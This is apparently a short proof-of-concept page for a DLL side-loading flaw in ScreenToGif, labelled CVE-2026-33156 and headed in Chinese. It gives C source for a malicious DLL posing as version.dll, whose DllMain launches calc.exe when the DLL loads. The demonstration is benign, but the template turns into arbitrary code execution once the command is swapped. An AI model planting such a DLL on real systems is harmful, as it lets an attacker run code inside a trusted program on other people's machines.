CVE-2026-33156 ScreenToGif DLL侧载漏洞

#include <windows.h> #include <stdlib.h> // Entry point for the malicious DLL BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to run when the DLL is loaded by the process // Example: Execute calc.exe to demonstrate arbitrary code execution system("calc.exe"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Export functions to match the expected exports of version.dll // Note: Actual exports may need to match the target's dependency exactly. // This is a simplified PoC structure.